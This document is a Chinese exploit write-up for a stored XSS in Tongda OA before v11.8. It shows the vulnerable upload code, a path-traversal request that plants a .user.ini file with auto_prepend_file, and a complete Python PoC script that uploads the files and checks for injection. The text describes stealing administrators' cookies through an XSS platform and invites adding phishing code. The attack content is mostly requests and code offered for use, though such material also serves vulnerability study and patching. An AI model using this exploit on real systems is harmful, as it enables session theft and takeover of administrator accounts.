# 通达OA v11.8 后台文件包含存储型XSS漏洞

### 漏洞描述 <a href="#lou-dong-miao-shu" id="lou-dong-miao-shu"></a>

通达OA v11.8以下存在文件上传接口，可上传 .user.ini 文件包含有xss语句的文件，使管理员后台文件均包含XSS语句，被攻击者获取敏感信息

### 漏洞影响 <a href="#lou-dong-ying-xiang" id="lou-dong-ying-xiang"></a>

&#x20;Note

通达OA < v11.8

### 环境搭建 <a href="#huan-jing-da-jian" id="huan-jing-da-jian"></a>

[通达OA v11.6下载链接](https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe)

下载完毕点击安装即可

### 漏洞复现 <a href="#lou-dong-fu-xian" id="lou-dong-fu-xian"></a>

这里使用的环境为通达 v11.6版本，v11.6版本中的漏洞利用较好，在 v11.7 后续版本中规定了上传路径，导致XSS利用会比较困难

出现漏洞的文件为 **webroot/general/hr/manage/staff\_info/update.php**

```
<?php

include_once "inc/auth.inc.php";
include_once "inc/utility_all.php";
include_once "inc/utility_file.php";
include_once "inc/utility_field.php";
include_once "inc/utility_cache.php";
include_once "general/system/log/annual_leave_log.php";
if (strstr($BYNAME, "/") || strstr($BYNAME, "\\") || strstr($BYNAME, "..")) {
    Message(_("错误"), _("OA用户名包含非法字符！"));
    exit();
}

include_once "inc/header.inc.php";
echo "\r\n<body class=\"bodycolor\">\r\n";
echo "\r\n<body class=\"bodycolor\">\r\n";
$PHOTO_NAME0 = $_FILES["ATTACHMENT"]["name"];
$ATTACHMENT = $_FILES["ATTACHMENT"]["tmp_name"];

if ($PHOTO_NAME0 != "") {
    $FULL_PATH = MYOA_ATTACH_PATH . "hrms_pic";

    if (!file_exists($FULL_PATH)) {
        @mkdir($FULL_PATH, 448);
    }

    $PHOTO_NAME = $USER_ID . substr($PHOTO_NAME0, strrpos($PHOTO_NAME0, "."));
    $FILENAME = MYOA_ATTACH_PATH . "hrms_pic/" . $PHOTO_NAME;
    td_copy($ATTACHMENT, $FILENAME);

    if (file_exists($ATTACHMENT)) {
        unlink($ATTACHMENT);
    }

    if (!file_exists($FILENAME)) {
        Message(_("附件上传失败"), _("原因：附件文件为空或文件名太长，或附件大于30兆字节，或文件路径不存在！"));
        Button_Back();
        exit();
    }
}
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm3IjiNdyox0K0-30k%2F-Mhm6ZzF-zP1WN92sBfv%2Fimage.png?alt=media\&token=09419a09-9225-4cfc-9851-9939483d6b24)

在这里参数 **$USER\_ID** 是可控的，并且无过滤危险符号就拼接进去了，那我们传入 **../../../** 我们就可以任意文件上传了

由于通达OA 的文件上传限制的死死的，所以我们可以通过利用 PHP的 **.user.ini** 文件来包含其他文件，这里是可以用于包含XSS语句的文件的，所以我们上传文件

内容为

```
auto_prepend_file=peiqi.log
```

我们想要最大化利用可以上传在**首页或者管理员** 界面，利用自定义弹窗来渗透

这里对管理员页面 **general** 目录上传

请求包为

```
POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/.user HTTP/1.1
Host: 192.168.1.105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104
Content-Length: 365
Connection: close
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=kqfgar7u3c0ang0es41u3u67p4; SID_1=a63eb31
Upgrade-Insecure-Requests: 1

-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="ATTACHMENT"; filename="peiqi.ini"
Content-Type: text/plain

auto_prepend_file=peiqi.log
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="submit"

提交
-----------------------------17518323986548992951984057104--
```

其中 **USER\_ID=../../general/.user** 为上传路径

```
Content-Disposition: form-data; name="ATTACHMENT"; filename="peiqi.ini"
Content-Type: text/plain

auto_prepend_file=peiqi.log
```

这里拼接后上传就变成了 **.user.ini**

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm3IjiNdyox0K0-30k%2F-Mhm6eSeYVMLuKyshi8c%2Fimage.png?alt=media\&token=4e55f25b-a9b4-4535-a878-cbcafa4f2d93)

&#x20;这里再上传 XSS文件 **peiqi.log** 被包含进去

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm3IjiNdyox0K0-30k%2F-Mhm6h85FijYWbpcxUkG%2Fimage.png?alt=media\&token=19e87aad-d9b5-4cc2-bf02-510f1b5492d9)

上传后每次管理员登录后都会带着Cookie请求一次XSS平台

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm3IjiNdyox0K0-30k%2F-Mhm6jli0n9UAfzrUmd9%2Fimage.png?alt=media\&token=9c4c5563-4984-4e5c-97c2-ce943649afeb)

钓鱼什么的代码写在peiqi.log文件里就好啦

刚刚提到了 v11.7版本不方便利用，这是因为在后续版本加上了文件上传的规定路径

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm3IjiNdyox0K0-30k%2F-Mhm6orvn8NiUH6FSLaD%2Fimage.png?alt=media\&token=72af8698-daaf-46fe-bf6f-2bb8571ff63c)

```
if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {
        return false;
    }
    else {
        return true;
    }
```

路径中必须要包含 **webroot 和 attachment** 才可以上传

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm3IjiNdyox0K0-30k%2F-Mhm6sOYwzeagAWOYgSQ%2Fimage.png?alt=media\&token=15021ab7-cc90-4700-9f40-8d1c29eef761)

&#x20;这里XSS的利用点有4个文件夹，其中最有几率XSS的为**存储目录管理的文件夹**

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm3IjiNdyox0K0-30k%2F-Mhm6w0iKH6jvRvv8mKZ%2Fimage.png?alt=media\&token=7ca679e9-1a7c-49d1-b3f9-06b3d75ba6e9)

用同样的方法上传利用文件，每次当管理员设置时就会盗取Cookie

### 漏洞利用POC <a href="#lou-dong-li-yong-poc" id="lou-dong-li-yong-poc"></a>

> 因为是xss可能对目标有影响，所以这里POC在一个不常用目录探测是否存在漏洞
>
> Cookie填写访问后台时的Cookie, 其中的base64解码更改 PeiQi\_Wiki为 自己的XSS语句
>
> v11.6及以下 攻击 /general 和 /general/system/attachment 目录较好
>
> v11.6以上 攻击 /general/system/attachment 目录较好

```
import requests
import sys
import random
import re
import base64
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: 通达OA < V11.8                                             \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+  \033[36mCookie      >>> xxxxxxxxxxxxxxxxxxxxxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url, Cookie):
    vuln_url = target_url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/.user"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
        "Connection": "close",
        "Cookie": Cookie,
        "Upgrade-Insecure-Requests": "1",
    }
    data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkuaW5pIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCmF1dG9fcHJlcGVuZF9maWxlPXBlaXFpLmxvZwotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3VibWl0IgoK5o+Q5LqkCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTc1MTgzMjM5ODY1NDg5OTI5NTE5ODQwNTcxMDQtLQ==")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user \033[0m".format(target_url))
        if "档案已保存" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 成功上传.user.ini文件, \033[0m".format(target_url))
            POC_2(target_url, Cookie)
        else:
            print("\033[31m[x] 目标 {} 上传.user.ini文件失败\033[0m".format(target_url))
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_2(target_url, Cookie):
    vuln_url = target_url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/test"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
        "Connection": "close",
        "Cookie":  Cookie,
        "Upgrade-Insecure-Requests": "1",
    }
    data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkubG9nIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KClBlaVFpX1dpa2kKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InN1Ym1pdCIKCuaPkOS6pAotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0LS0=")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/test \033[0m".format(target_url))
        if "档案已保存" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 成功上传 test.log 文件, \033[0m".format(target_url))
            POC_3(target_url, Cookie)
        else:
            print("\033[31m[x] 目标 {} 上传 test.log 文件失败\033[0m".format(target_url))
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_3(target_url, Cookie):
    vuln_url = target_url + "/general/reportshop/workshop/report/attachment-remark/form.inc.php?test=test"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Cookie":  Cookie,
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/reportshop/workshop/report/attachment-remark/form.inc.php?test=test \033[0m".format(target_url))
        if "test_Wiki" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 存在漏洞，响应中包含 test_Wiki,存在XSS漏洞, 可参考文章写的利用版本进一步攻击 \033[0m".format(target_url))
        else:
            print("\033[31m[x] 目标 {} 不存在漏洞，响应中不包含 test_Wiki\033[0m".format(target_url))
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    Cookie = "USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=kqfgar7u3c0ang0es41u3u67p4; SID_1=a63eb31"
    POC_1(target_url, Cookie)
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm3IjiNdyox0K0-30k%2F-Mhm7-cYFwDEeHy-GRlj%2Fimage.png?alt=media\&token=0f0a54a1-fa71-4289-9928-9a465a2392c3)

### 参考文章 <a href="#can-kao-wen-zhang" id="can-kao-wen-zhang"></a>

<https://paper.seebug.org/1499/>
